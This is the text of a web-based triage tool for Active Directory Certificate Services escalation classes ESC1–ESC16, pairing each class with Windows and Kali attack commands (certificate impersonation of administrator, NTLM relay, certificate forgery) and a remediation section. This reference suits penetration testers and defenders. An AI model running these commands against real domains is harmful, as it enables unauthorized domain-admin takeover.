// ADCS ESC FIND & PRIORITIZE

ADCS ESC Finder

Paste Certipy (JSON or text), Certify, or certutil output — the tool auto-detects the format, classifies ESC1–ESC16, and gives prioritized operator attack paths, defender fixes, and Windows/Linux commands. Exports chainable edges for the Attack Path Chainer. All client-side, nothing stored.

● ESC1 → ESC16 — the ADCS escalation ladder 16 known AD CS privilege-escalation classes · Windows + Kali examples SHOW ALL 16HIDE▼

ESC1Enrollee-supplied SAN

Template allows the requester to set the Subject Alternative Name + has a client-auth EKU → request a cert as any user (e.g. a Domain Admin).

manager approval / lock SAN

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:VulnTmpl /altname:administrator
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template VulnTmpl \
  -upn administrator@dom -dc-ip <dc>
certipy auth -pfx administrator.pfx -dc-ip <dc>

ESC2Any-Purpose / no EKU

Template grants Any-Purpose EKU (or none) → the issued cert is usable for any authentication purpose.

restrict EKUs

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:AnyPurposeTmpl

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template AnyPurposeTmpl

ESC3Enrollment Agent

Template has the Certificate Request Agent EKU → enroll on behalf of another principal, including privileged ones.

restrict agent enrollment

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:EnrollAgent
Certify.exe request /ca:CORP-CA /template:User \
  /onbehalfof:DOM\administrator /enrollcert:agent.pfx

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template EnrollAgent
certipy req -u user@dom -p 'pass' -ca CORP-CA -template User \
  -on-behalf-of 'DOM\administrator' -pfx agent.pfx

ESC4Writable template ACL

You hold write/owner over a template object → rewrite it into an ESC1, enroll, then revert.

tighten template DACL

▸example attack

Windows · Certify

StandIn.exe --adcs --filter VulnTmpl --ess --clientauth   # make it ESC1
:: ...run the ESC1 request above, then restore the template...

Kali · certipy

certipy template -u user@dom -p 'pass' -template VulnTmpl -write   # make it ESC1
certipy template -u user@dom -p 'pass' -template VulnTmpl \
  -configuration saved.json   # restore

ESC5Writable PKI object ACL

Weak ACL over PKI objects (CA computer object, CA's AD container) → broader PKI takeover.

audit PKI object DACLs

▸example attack

Windows · Certify

Get-DomainObjectAcl -SearchBase 'CN=Public Key Services,...' -ResolveGUIDs
:: triage the ACE in the DACL Reader, then abuse like a Tier-0 edge

Kali · certipy

nxc ldap <dc> -u user -p 'pass' -M daclread \
  -o TARGET='CN=<CA>,...,CN=Public Key Services,...'

ESC6EDITF_ATTRIBUTESANAME2

CA flag lets any request specify a SAN → request a cert as anyone (pre-May 2022 patch).

clear the CA flag + patch

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:User /altname:administrator

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template User \
  -upn administrator@dom

ESC7Vulnerable CA rights

ManageCA / ManageCertificates on the CA → approve requests, enable the SAN flag, issue to self.

restrict CA role holders

▸example attack

Windows · Certify

Certify.exe manage-ca /ca:CORP-CA /addofficer:user   # or certutil / PSPKI
:: then enable a template / approve your own pending request

Kali · certipy

certipy ca -u user@dom -p 'pass' -ca CORP-CA -add-officer user
certipy ca -u user@dom -p 'pass' -ca CORP-CA -enable-template VulnTmpl

ESC8Web-enroll NTLM relay

CA exposes HTTP(S) web enrollment (certsrv) → coerce + relay a privileged machine's NTLM to get a cert.

EPA + HTTPS-only / disable web enroll

▸example attack

Windows · Certify

:: coerce from Windows:
PetitPotam.exe <attacker> <dc>    ::  or  SpoolSample.exe <dc> <attacker>
:: relay is run from Linux (Impacket) — see LINUX tab

Kali · certipy

certipy relay -target 'http://<ca>/certsrv/certfnsh.asp' \
  -template DomainController
# coerce in another shell:  PetitPotam.py <attacker> <dc>

ESC9No security extension

Template sets CT_FLAG_NO_SECURITY_EXTENSION → cert maps by UPN; abuse with GenericWrite over a victim.

require the SID extension

▸example attack

Windows · Certify

Set-ADUser victim -UserPrincipalName administrator@dom   # needs GenericWrite
Certify.exe request /ca:CORP-CA /template:VulnTmpl   # as victim

Kali · certipy

bloodyAD -u user -p 'pass' -d dom --host <dc> set object victim \
  userPrincipalName -v administrator@dom
certipy req -u victim@dom -p 'pass' -ca CORP-CA -template VulnTmpl

ESC10Weak cert mapping

Weak mapping registry keys (StrongCertificateBinding / CertificateMappingMethods) → UPN spoof to a privileged account.

enforce strong binding (KB5014754)

▸example attack

Windows · Certify

:: DC-side weak mapping; abuse mirrors ESC9
Set-ADUser victim -UserPrincipalName administrator@dom
Certify.exe request /ca:CORP-CA /template:User

Kali · certipy

# abuse mirrors ESC9 (set victim UPN, enroll, auth)
certipy req -u victim@dom -p 'pass' -ca CORP-CA -template User

ESC11ICPR / RPC relay

CA's RPC enrollment endpoint lacks encryption → relay over RPC (ESC8's RPC cousin).

enforce RPC encryption

▸example attack

Windows · Certify

:: coerce from Windows, relay from Linux (Impacket) — see LINUX tab

Kali · certipy

certipy relay -target 'rpc://<ca>' -template DomainController

ESC12CA key on YubiHSM

CA private key on a YubiHSM reachable from a shell on the CA → extract the key, forge any cert.

protect HSM PIN / shell access

▸example attack

Windows · Certify

:: requires shell on the CA host:
ForgeCert.exe --CaCertPath ca.pfx --Subject CN=User \
  --SubjectAltName administrator@dom --NewCertPath forged.pfx

Kali · certipy

# shell on CA: read HSM auth key/PIN, export the CA signing key,
# then forge offline (ForgeCert / certipy forge)

ESC13Issuance policy → group

Template's issuance policy OID is linked (msDS-OIDToGroupLink) to a privileged group → the cert grants that membership.

audit OID-to-group links

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:PolicyTmpl

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template PolicyTmpl

ESC14Writable altSecurityIds

Write access to a target's altSecurityIdentities → add an explicit cert mapping to a privileged account.

lock down altSecurityIdentities

▸example attack

Windows · Certify

Set-ADUser administrator -Add @{altSecurityIdentities='X509:<I>...<S>...'}
Rubeus.exe asktgt /user:administrator /certificate:yours.pfx /ptt

Kali · certipy

bloodyAD -u user -p 'pass' -d dom --host <dc> set object administrator \
  altSecurityIdentities -v 'X509:<I>...<S>...'
certipy auth -pfx yours.pfx -username administrator -domain dom

ESC15EKUwu (CVE-2024-49019)

Inject arbitrary EKUs via Application Policies in the CSR on schema v1 templates → client-auth from a template that shouldn't allow it.

patch + retire v1 templates

▸example attack

Windows · Certify

Certify.exe request /ca:CORP-CA /template:WebServer \
  /applicationpolicies:1.3.6.1.5.5.7.3.2   :: Client Auth (updated Certify)

Kali · certipy

certipy req -u user@dom -p 'pass' -ca CORP-CA -template WebServer \
  -application-policies 'Client Authentication'

ESC16Security ext disabled CA-wide

CA globally omits the SID security extension (DisableExtensionList) → domain-wide ESC9-style weak mapping.

re-enable the extension on the CA

▸example attack

Windows · Certify

:: every issued cert lacks the SID binding; chain with ESC9/ESC10
Set-ADUser victim -UserPrincipalName administrator@dom
Certify.exe request /ca:CORP-CA /template:User

Kali · certipy

bloodyAD ... set object victim userPrincipalName -v administrator@dom
certipy req -u victim@dom -p 'pass' -ca CORP-CA -template User

template misconfig CA / endpoint certificate mapping PKI object ACL key material

Blue Team — Remediation general hardening + per-ESC remediation SHOW FIXESHIDE▼

Do these first — domain-wide

Enforce strong certificate mapping domain-wide: StrongCertificateBindingEnforcement = 2 (KB5014754).
Run certipy find -vulnerable / PSPKI on a schedule and diff the results.
Tier your PKI: CA admins and template write-access are Tier 0 only.
Monitor Events 4886/4887 (cert requested/issued), 4768 (TGT via cert), 4899/4900 (template/CA changed), 5136 (AD object modified).

ESC1Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from client-auth templates, require Manager Approval, or restrict enrollment to a trusted group. Enforce strong cert mapping (KB5014754).

ESC2Scope templates to specific EKUs — never ship Any-Purpose / no-EKU to low-priv enrollees.

ESC3Restrict who can enroll Enrollment Agent templates; enable 'Restrict enrollment agents' on the CA.

ESC4Audit template DACLs — only Tier 0 holds write/owner on templates. Alert on Event 5136 for pKICertificateTemplate objects.

ESC5Lock down ACLs on the CA computer object and the Public Key Services container.

ESC6Clear the flag: certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 then restart certsvc.

ESC7Restrict CA officer / ManageCA / ManageCertificates roles to Tier 0 only.

ESC8Disable NTLM on web-enrollment endpoints, enforce EPA + HTTPS-only, or remove web enrollment. Patch coercion vectors (PetitPotam/PrinterBug).

ESC9Remove the no-security-extension flag; enforce StrongCertificateBindingEnforcement = 2.

ESC10Set StrongCertificateBindingEnforcement = 2 and remove weak CertificateMappingMethods on DCs.

ESC11Enable IF_ENFORCEENCRYPTICERTREQUEST on the CA (encrypt ICPR RPC).

ESC12Protect the HSM PIN and restrict shell access to the CA host; monitor CA logons.

ESC13Remove OID-to-group links (msDS-OIDToGroupLink) from issuance policies on low-priv-enrollable templates.

ESC14Lock down write access to altSecurityIdentities on privileged accounts.

ESC15Patch (Nov 2024, CVE-2024-49019). Remove enrollee-supplies-subject from v1 templates; upgrade template schema.

ESC16Remove the OID from the CA's DisableExtensionList and re-enable the SID security extension.

⚯

Paste an ADCS enumeration to begin

Certipy / Certify / certutil → prioritized ESC findings + fixes + commands